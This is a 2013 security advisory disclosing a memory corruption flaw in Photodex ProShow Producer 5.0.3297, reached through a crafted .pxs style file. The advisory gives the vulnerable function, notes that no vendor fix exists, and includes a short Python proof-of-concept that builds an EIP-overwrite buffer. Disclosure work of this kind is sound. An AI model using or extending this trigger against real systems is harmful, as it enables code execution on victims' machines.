Photodex ProShow Producer 5.0.3297 Memory Corruption

2013-02-15T00:00:00
ID PACKETSTORM:120337
Type packetstorm
Reporter Julien Ahrens
Modified 2013-02-15T00:00:00

Description

                                        
                                            `Inshell Security Advisory  
http://www.inshell.net  
  
  
1. ADVISORY INFORMATION  
-----------------------  
Product: Photodex ProShow Producer  
Vendor URL: www.photodex.com  
Type: Improper Restriction of Operations within the Bounds  
of a Memory Buffer[CWE-119]  
Date found: 2013-02-14  
Date published: 2013-02-14  
CVSSv2 Score: 4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)  
CVE: -  
  
  
2. CREDITS  
----------  
This vulnerability was discovered and researched by Julien Ahrens from  
Inshell Security.  
  
  
3. VERSIONS AFFECTED  
--------------------  
Photodex ProShow Producer v5.0.3297, older versions may be affected too.  
  
  
4. VULNERABILITY DESCRIPTION  
----------------------------  
A memory corruption vulnerability has been identified in Photodex  
ProShow Producer v5.0.3297.  
  
When opening a crafted style file (.pxs), the application loads the  
"title" value from the pxs file.  
  
The ColorPickerProc function does not properly validate the length of  
the string loaded from the "title" value from the pxs file before using  
it in the further application context, which leads to a memory  
corruption condition with possible code execution depending on the  
version of the operating system.  
  
Vulnerable function definition (all.dnt):  
__stdcall ColorPickerProc(x, x, x, x)  
  
An attacker needs to force the victim to open a crafted .pxs file in  
order to exploit the vulnerability. Successful exploits can allow  
attackers to execute arbitrary code with the privileges of the user  
running the application. Failed exploits will result in  
denial-of-service conditions.  
  
  
5. PROOF-OF-CONCEPT (Code / Exploit)  
------------------------------------  
The following generated string has to be inserted into a .pxs file to  
trigger the vulnerability on Windows XP SP3.  
  
#!/usr/bin/python  
file="poc.txt"  
  
junk1="\x41" * 233  
eip="\x42" * 4  
junk2="\xCC" * 100  
  
poc=junk1 + eip + junk2  
  
try:  
print ("[*] Creating exploit file...\n");  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print ("[*] File successfully created!");  
except:  
print ("[!] Error while creating file!");  
  
  
For further Screenshots and/or PoCs visit:  
http://security.inshell.net/advisory/46  
  
  
6. SOLUTION  
-----------  
None  
  
  
7. REPORT TIMELINE  
------------------  
2013-02-14: Discovery of the vulnerability  
2013-02-14: Full Disclosure because the vendor ignored all previous  
reports.  
  
  
8. REFERENCES  
-------------  
http://security.inshell.net/advisory/46  
`